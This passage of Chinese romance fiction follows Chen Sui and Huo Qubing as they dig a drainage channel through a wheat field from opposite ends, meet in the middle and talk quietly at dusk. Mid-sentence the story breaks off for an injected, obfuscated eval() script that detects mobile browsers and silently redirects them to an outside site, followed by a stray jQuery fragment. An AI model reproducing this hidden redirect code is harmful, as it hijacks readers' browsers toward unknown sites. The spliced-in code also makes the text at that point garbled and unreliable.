第二天天亮的时候,泥地还软着。
陈穗走到麦田边上的时候靴底踩在泥面上陷了半寸,她低头看了看脚底被泥浆包裹的鞋沿,又抬头看了看昨夜被暴雨冲洗过一遍的整片麦田。麦苗虽然被打弯了一些,但经过一夜的休整已经重新直起腰了,叶面上挂着细密的水珠在晨光里微微发亮。她沿着田埂走了一圈,在最南面那片积水最深的地方停住——那里积了一小洼混浊的泥水,昨天傍晚她拍实了的沟边土埂又被冲开了一道手掌宽的缺口。她蹲下去用手探了探积水的深度,大约半尺,不算太深,但如果不及时排走会泡烂麦苗的根须。
她直起腰的时候看到他已经走过来了,手里拎着铁锹和麻绳,脚上穿着靴子,裤腿卷到了膝盖以上。他走到她旁边蹲下看了一眼那道缺口,又看了一眼积水:“从哪开始挖?”她把路线画在麻布片上的示意图已经准备好了,从麦田东侧低洼处沿着坡脚往弱水河方向走的一条弧线,中间分成两段,一段他带人从北端往南挖,一段她带人从南端往北挖,在中间汇合。她蹲下来把麻布片铺在地上指给他看:“从这个位置下第一锹,遇到硬土层往旁边偏三尺再下。这是昨晚我看过的,硬土层底下有碎石,绕开能省两天工期。”
他蹲着看完示意图的线路走向,站起来的动作跟她说“知道了”同时发生。他弯腰捡起铁锹扛在肩上,朝他那头的起点走去,走之前侧过头跟她说了一句:“中间见。”陈穗没有回答。她低头把麻布片叠好放回怀里,拿起自己的铁锹朝南面的起点走去。
挖渠的头一天,两队人隔着整片麦田各自推进。陈穗这一队的人手都是这些年跟着她干了三四年的老人,下锹的角度和节奏都很熟,一上午就挖出了将近二十丈的渠道。她中间歇了一次喝水的工夫往北面看了一眼——他那队的人手其中有几个是亲卫队里临时抽调来帮忙的,翻地的经验显然不够扎实,进度比她这边慢了大约三分之一。她看了一会儿把水囊放下,没有过去帮忙,继续低头挖自己这边的。
第二天傍晚收工的时候她在清点自己这一队的进度时,无意间朝北面那片工地的方向多看了一眼。他那边的渠道比她早上走之前看到的长度明显增加了许多。她沿着田埂绕到他那头看了看,渠壁挖得比她走的路线还要深一些,边缘削得比她要求的更齐整,就算下锹的斜角偶尔有偏差,翻出来的碎石和硬土块也被及时清理了。她站在渠边看了一会儿,余光扫到旁边草堆里搁着一支磨秃了半截的炭笔和一张用石头压住边角的麻布片,上面画的图她一眼就认出来——是用她给的路线图临摹过的,但多画了几道细线作为分阶段的标注,每个分段的长度、预计工时和负责人名称都标记了。她看完那张图没有拿起来,也没有去问他什么时候画的,只是站在那儿看了几息,然后转身走回自己的那段渠继续挖了。
第三天傍晚,两条渠在麦田正中间的位置合龙了。陈穗把最后一锹土从合龙口的中间挖开的时候,正好看到从对面伸过来的另一把铁锹的刃口也从同一个位置切了进来。两把铁锹的边缘在土中交会了,切出了一个干净整齐的断面,然后两边的渠壁在同一道线上连通了。她抬起铁锹的时候他也抬了起来。两人隔着那道刚刚被打通的渠口面对面站着,各自手里的铁锹还滴着泥水,汇成一股细流缓缓沿着新渠壁淌向弱水河方向。
水从东侧的积水区涌进来了,沿着新挖的渠壁平稳地流过,经过合龙口的时候没有淤积、没有渗漏,像一匹被展开的绸布顺畅地滑过了新裁的路径。陈穗蹲在渠边把手伸进水里试了一下流速——平稳、持续、不快不慢,正好是能带走积水又不会冲刷渠壁的速度。她收回手站起来:“通渠了。”
霍去病也把手伸进水里试了一下。他试完之后站起来,把铁锹拄在脚边:“以后不会淹了。”他说完这句话低头看着新渠里正在流淌的水,水流把渠底浅表层的细小泥土冲掉后露出了下面更坚实的一层底土,一个稳定的流道已经被冲刷成型了。陈穗顺着他的目光也看了片刻,然后把手里的铁锹放在渠边的干土面上,走到田埂边上坐下来。她坐下来之后把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920807|213459||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
靴子脱了,把里面灌进去的泥土倒出来,又重新穿上了。他也在她旁边坐下来,隔了大约一掌的距离。
水声在两人面前持续着,淙淙的、均匀的、比风更持续更近的声响,像一条不会停下来的低语。她把水囊递给他:“你那边进度比我快。你昨天是不是加长了工时?”他接过去喝了一口:“换了一班人。”她又问:“那张图是你自己画的?”他停顿了一下才开口,脸上没什么表情:“你画完我看了一遍,回去自己描了一张。”他顿了一下,“怕忘了路线。”
陈穗握着水囊的带子慢慢攥了一下又松开了。暮色从两人身后合拢上来把渠水的颜色从淡金染成暗金再染成灰蓝。她侧过身面朝他坐着,双膝并拢,手搭在膝盖上,水囊搁在手边:“你记得第一年冬天盖草帘那次吗?”他沉默了片刻:“记得。”她看着他的侧脸:“我那天晚上站在田埂上往主帐方向看了一眼——灯还亮着。”他没有看她,目光依然落在渠面上:“那天晚上我也看了。”她说:“你看什么?”他的声音比之前低了一些:“看你那边有没有灯。”
风从水面上吹过来带着新翻的泥土和初生草木的气息。她坐着想了一下他说的那句话。他看着她那边有没有灯——意思是他在确认她回去了、安顿好了、没有在深夜里一个人留在田埂上。她把他这句话放在心里慢慢放平整了,然后开口说了一句话:“那从那天晚上开始——我就觉得,你是个会回来的人。”他沉默了片刻。然后他开口了:“那天晚上我也觉得——你是个会一直在的人。”
两人坐在新挖的排水渠边上,面前的水流还在持续不断地淌着。她看着渠水说了一句:“以后下雨不用怕了。”他说:“嗯。不用怕了。”她用肩膀碰了一下他的肩膀:“走吧,收工了。”他站起来,伸手拉了她一把。她借力站起来之后没松手,多握了片刻,像在确认什么,然后松开了。两人并肩往营地走,手里的铁锹扛在肩上,暮色把两道平行的影子投在渠边刚刚被水洇湿的土面上,一直延伸到渠水汇入弱水河的方向。